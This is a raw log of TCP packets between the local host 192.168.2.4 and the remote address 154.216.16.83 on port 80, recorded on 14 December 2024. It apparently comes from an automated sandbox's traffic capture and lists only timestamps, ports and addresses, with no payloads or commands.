Dec 14, 2024 21:41:15.043194056 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:15.044759035 CET	80	49989	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:15.044908047 CET	49989	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:15.147844076 CET	80	49995	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:15.148049116 CET	49995	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:15.163059950 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:15.262053967 CET	49995	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:15.382709026 CET	80	49995	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:15.472805023 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:15.480604887 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:15.600686073 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:15.901669025 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:15.918287039 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:16.038141012 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:16.339458942 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:16.355587006 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:16.451291084 CET	80	49995	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:16.451458931 CET	49995	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:16.475367069 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:16.559128046 CET	49998	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:16.571985960 CET	80	49995	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:16.572313070 CET	49995	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:16.679006100 CET	80	49998	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:16.679161072 CET	49998	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:16.793128967 CET	49998	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:16.810131073 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:16.824357986 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:16.913077116 CET	80	49998	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:16.944171906 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:17.245542049 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:17.261879921 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:17.381891012 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:17.683566093 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:17.699368000 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:17.819310904 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:17.981393099 CET	80	49998	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:17.981674910 CET	49998	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:18.090349913 CET	50002	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:18.102263927 CET	80	49998	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:18.102916002 CET	49998	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:18.120328903 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:18.137089968 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:18.210381985 CET	80	50002	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:18.210607052 CET	50002	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:18.324743032 CET	50002	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:18.419634104 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:18.444612026 CET	80	50002	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:18.559519053 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:18.574999094 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:18.696310997 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:18.995589972 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:19.012053967 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:19.132153988 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:19.433682919 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:19.449362993 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:19.510230064 CET	80	50002	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:19.510500908 CET	50002	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:19.569293022 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:19.621771097 CET	50008	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:19.632729053 CET	80	50002	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:19.632909060 CET	50002	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:19.742069960 CET	80	50008	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:19.742324114 CET	50008	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:19.855675936 CET	50008	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:19.871058941 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:19.886864901 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:19.975614071 CET	80	50008	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:20.006781101 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:20.307873964 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:20.324711084 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:20.444624901 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:20.754797935 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:20.761905909 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:20.881987095 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:21.038933039 CET	80	50008	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:21.039151907 CET	50008	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:21.152781963 CET	50014	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:21.161290884 CET	80	50008	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:21.161473989 CET	50008	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:21.212769985 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:21.230631113 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:21.276952028 CET	80	50014	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:21.277102947 CET	50014	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:21.354104996 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:21.387105942 CET	50014	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:21.507731915 CET	80	50014	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:21.655359983 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:21.668319941 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:21.788378954 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:22.090095043 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:22.105628014 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:22.225747108 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:22.526766062 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:22.543159008 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:22.584719896 CET	80	50014	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:22.584847927 CET	50014	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:22.663013935 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:22.699826002 CET	50015	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:22.705184937 CET	80	50014	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:22.705559015 CET	50014	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:22.819775105 CET	80	50015	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:22.819864035 CET	50015	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:22.933860064 CET	50015	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:22.964016914 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:22.981426954 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:23.053844929 CET	80	50015	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:23.101391077 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:23.402440071 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:23.418207884 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:23.538292885 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:23.839426994 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:23.855655909 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:23.975744009 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:24.118097067 CET	80	50015	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:24.122071981 CET	50015	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:24.230793953 CET	50021	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:24.242841005 CET	80	50015	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:24.245752096 CET	50015	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:24.276783943 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:24.293250084 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:24.351572037 CET	80	50021	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:24.354088068 CET	50021	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:24.413300037 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:24.465320110 CET	50021	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:24.585217953 CET	80	50021	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:24.714226961 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:24.732501984 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:24.852479935 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:25.153536081 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:25.168226004 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:25.288368940 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:25.589484930 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:25.605674982 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:25.679688931 CET	80	50021	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:25.679913044 CET	50021	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:25.725744963 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:25.793286085 CET	50027	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:25.800331116 CET	80	50021	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:25.800410986 CET	50021	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:25.920028925 CET	80	50027	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:25.920105934 CET	50027	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:26.026815891 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:26.027462959 CET	50027	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:26.043122053 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:26.147598982 CET	80	50027	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:26.162965059 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:26.472223043 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:26.480704069 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:26.600600958 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:26.901565075 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:26.918303967 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:27.038156986 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:27.222218037 CET	80	50027	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:27.222328901 CET	50027	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:27.324554920 CET	50028	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:27.339142084 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:27.342572927 CET	80	50027	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:27.342690945 CET	50027	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:27.355952978 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:27.444639921 CET	80	50028	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:27.444770098 CET	50028	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:27.476867914 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:27.558829069 CET	50028	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:27.678632975 CET	80	50028	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:27.777949095 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:27.793131113 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:27.913346052 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:28.215086937 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:28.236403942 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:28.356420994 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:28.657607079 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:28.668179035 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:28.745189905 CET	80	50028	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:28.745313883 CET	50028	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:28.788058996 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:28.856908083 CET	50034	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:28.865547895 CET	80	50028	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:28.865614891 CET	50028	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:28.976715088 CET	80	50034	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:28.976811886 CET	50034	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:29.089070082 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:29.090132952 CET	50034	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:29.105736017 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:29.211359024 CET	80	50034	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:29.225610971 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:29.527015924 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:29.543647051 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:29.663414955 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:29.964545012 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:29.980783939 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:30.100877047 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:30.276479959 CET	80	50034	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:30.276575089 CET	50034	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:30.389317989 CET	50040	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:30.397674084 CET	80	50034	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:30.397777081 CET	50034	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:30.401814938 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:30.418468952 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:30.509310961 CET	80	50040	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:30.509459019 CET	50040	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:30.538552046 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:30.621493101 CET	50040	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:30.741550922 CET	80	50040	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:30.839483023 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:30.855706930 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:30.979896069 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:31.284778118 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:31.293155909 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:31.413362980 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:31.747078896 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:31.762120008 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:31.808331966 CET	80	50040	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:31.808456898 CET	50040	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:31.882144928 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:31.919353008 CET	50046	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:31.928610086 CET	80	50040	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:31.928674936 CET	50040	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:32.039416075 CET	80	50046	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:32.039736986 CET	50046	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:32.152568102 CET	50046	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:32.183657885 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:32.199451923 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:32.274610996 CET	80	50046	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:32.319566965 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:32.620696068 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:32.637744904 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:32.757580042 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:33.059308052 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:33.074538946 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:33.195574999 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:33.338654041 CET	80	50046	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:33.339046001 CET	50046	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:33.449652910 CET	50047	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:33.459620953 CET	80	50046	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:33.460351944 CET	50046	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:33.496716976 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:33.512021065 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:33.569798946 CET	80	50047	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:33.569998026 CET	50047	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:33.631907940 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:33.683753014 CET	50047	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:33.803793907 CET	80	50047	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:33.932898045 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:33.949469090 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:34.069293976 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:34.373358965 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:34.402851105 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:34.526150942 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:34.826951981 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:34.840249062 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:34.871932030 CET	80	50047	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:34.872059107 CET	50047	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:34.960170984 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:34.982094049 CET	50053	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:34.992300034 CET	80	50047	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:34.992398024 CET	50047	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:35.102341890 CET	80	50053	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:35.103085041 CET	50053	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:35.215029955 CET	50053	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:35.274336100 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:35.277772903 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:35.335227966 CET	80	50053	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:35.398787022 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:35.699661016 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:35.715755939 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:35.835575104 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:36.137116909 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:36.152611017 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:36.272685051 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:36.401989937 CET	80	50053	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:36.402107954 CET	50053	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:36.515264034 CET	50059	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:36.525896072 CET	80	50053	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:36.525968075 CET	50053	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:36.574135065 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:36.590213060 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:36.635272026 CET	80	50059	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:36.635371923 CET	50059	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:36.710288048 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:36.761625051 CET	50059	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:36.883136034 CET	80	50059	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:37.011604071 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:37.024682999 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:37.144969940 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:37.446211100 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:37.447802067 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:37.567589045 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:37.868839979 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:37.871328115 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:37.939029932 CET	80	50059	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:37.939157963 CET	50059	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:37.991184950 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:38.044255018 CET	50060	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:38.059384108 CET	80	50059	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:38.059634924 CET	50059	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:38.164273977 CET	80	50060	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:38.164350033 CET	50060	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:38.277529001 CET	50060	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:38.294389963 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:38.308804035 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:38.397367954 CET	80	50060	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:38.431277037 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:38.739351988 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:38.740796089 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:38.860701084 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:39.162233114 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:39.162836075 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:39.282797098 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:39.462335110 CET	80	50060	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:39.462934971 CET	50060	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:39.583122969 CET	80	50060	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:39.583195925 CET	50060	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:39.583722115 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:39.598912954 CET	50066	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:39.602988005 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:39.718934059 CET	80	50066	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:39.719027996 CET	50066	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:39.722969055 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:39.826397896 CET	50066	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:39.947024107 CET	80	50066	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:40.023910999 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:40.024255991 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:40.144179106 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:40.445368052 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:40.445632935 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:40.565391064 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:40.869442940 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:40.871555090 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:40.995906115 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:41.017362118 CET	80	50066	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:41.019201994 CET	50066	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:41.121470928 CET	50072	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:41.140597105 CET	80	50066	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:41.140983105 CET	50066	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:41.242647886 CET	80	50072	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:41.243185043 CET	50072	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:41.297173023 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:41:41.297470093 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:41.355658054 CET	50072	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:41:41.417506933 CET	80	49740	154.216.16.83	192.168.2.4
